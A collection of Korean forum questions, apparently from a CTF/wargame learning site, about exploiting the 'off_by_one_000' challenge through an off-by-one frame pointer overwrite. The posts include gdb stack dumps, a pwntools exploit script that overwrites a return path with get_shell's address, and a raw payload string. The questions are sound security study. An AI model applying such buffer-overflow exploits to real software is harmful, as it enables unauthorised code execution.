따라서 0x80486b0 <main+64>: mov eax,0x0 0x80486b5 <main+69>: leave => 0x80486b6 <main+70>: ret 0x80486b7: xchg ax,ax 0x80486b9: xchg ax,ax 0x80486bb: xchg ax,ax 0x80486bd: xchg ax,ax [------------------------------------stack-------------------------------------] 0000| 0xffffd204 --> 0x80485db (<get_shell>: push ebp) 0004| 0xffffd208 ('a' <repeats 164 times>) 0008| 0xffffd20c ('a' <repeats 160 times>) 0012| 0xffffd210 ('a' <repeats 156 times>) 0016| 0xffffd214 ('a' <repeats 152 times>) 0020| 0xffffd218 ('a' <repeats 148 times>) 0024| 0xffffd21c ('a' <repeats 144 times>) 0028| 0xffffd220 ('a' <repeats 140 times>) 이렇게 main이 종료되자 이 점에서 착안하여 from pwn import* payload = '' payload += 'a'*20 p=process('./off_by_one_000') e =ELF('./off_by_one_000') get_shell_addr = e.symbols['get_shell'] payload += p32(get_shell_addr) payload += 'a'*0x100 p.sendline(payload) p.interactive() 와 같은 공격코드를사용했으나 Switching to interactive mode Name: Name: aaaaaaaaaaaaaaaaۅ\x04aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa[*] Got EOF while reading in interactive $ id [*] Process './off_by_one_000' stopped with exit code -11 (SIGSEGV) (pid 550) 와 같이 셸이 실행되지 않고 종료됩니다. 디버거로 분석한 것과 offset 차이가 있는건가요?

off_by_one_000을 풀기는 했지만, 버퍼를 전부 get_shell의 주소로 채워 풀었기 때문에 주소가 4byte라 1/4 확률로 공격에 성공합니다. 반대로 말하면 3/4 확률로 쉘을 얻지 못한다는 얘기인데, 이를 무조건 성공시키는 방법이 따로 있는지 궁금합니다.

RET를 get_shell의 주소로 덮는 식으로 진행해야 할 거 같다고 생각을 했습니다. 그런데 0x100 만큼 딱 맞춰서 입력을 받아서 어떻게 해야할지 감이 잘 안오는데 혹시 힌트 있을까요?

gdb.attach()를 포함하고 local에서 실행시키면 제대로 작동하지 않는데 이건 어떤 문제인가요....이것땜에 시간을 많이 버려서

FBO 를 이용해 널값을 sfp 삽입 시켜보니 주소가 배열 16바이트 떨어진곳에 있어서 거기에 get_shell 실행하는 코드를 적었는데 플래그가 획득되진 않던데 이유가 뭔가요 payload = 'x61' * 16 payload += '/xdb/x85/x04/x08' payload += '/x61' * 236 이렇게 페이로드 작성했습니다. !

제 gdb로는 다른 사람 풀이들과 다르게 ebp가 다르게 나오고 막 printf로 인해 값이 또 바뀌고 그러는데 주어진 환경에 딱 맞게 디버깅할 수는 없나요?

gdb 로 A 문자를 256개 보내려고 하는데 긴 문자열은 어케 한꺼번에 보내죠?..

gdb.attach로 했을 때는 main 함수에서 leave, ret 하면서 제대로 돌아가는 걸 확인할 수 있었는데 gdb 로 테스트를 할 때는 printf 가 돌아가면서 내부 call 하는 와중에 ebp에 있는 값이 다시 덮여서 확인이 어렵더라고요.. 화면 캡처 2022-04-19 162914.png 화면 캡처 2022-04-19 170530.png 왜 이런 차이가 발생하는 건가요?

ASLR이 적용된 상황에서 FPO를 이용해서 cpy()에 저장된 main함수의 sfp의 하위 1byte를 \x00으로 overwrite하여 real_name buf의 어딘가로 이동시킬 때, 정확히 몇번째 byte로 이동할 지 계산하는 방법이 있나요? 아니면, real_name 배열의 임의의 위치로 이동하는 건가요?

cpy 함수의 스택 프레임에 buf - ebp가 가르키는 부분(프레임 맨 밑 부분) - 리턴 주소 인 것은 확인 하였습니다. 그래서 ebp 가 가르키는 부분의 첫 바이트를 변조할 수 있다는 것 까지는 이해에 성공 했습니다. 그런데 궁금한게 이러한 조작이 메인함수의 리턴 주소에 어떤 과정을 통해 영향을 끼치는 것인가요? ㅠㅠ 또 궁금한게 대부분 풀이는 64라는 숫자를 이용하여 풀었는데 이 값을 곧바로 구할 수 있는건가요? 제 로컬에서는 50대의 숫자가 나왔는데 작동하지 않아 포문을 돌렸습니다.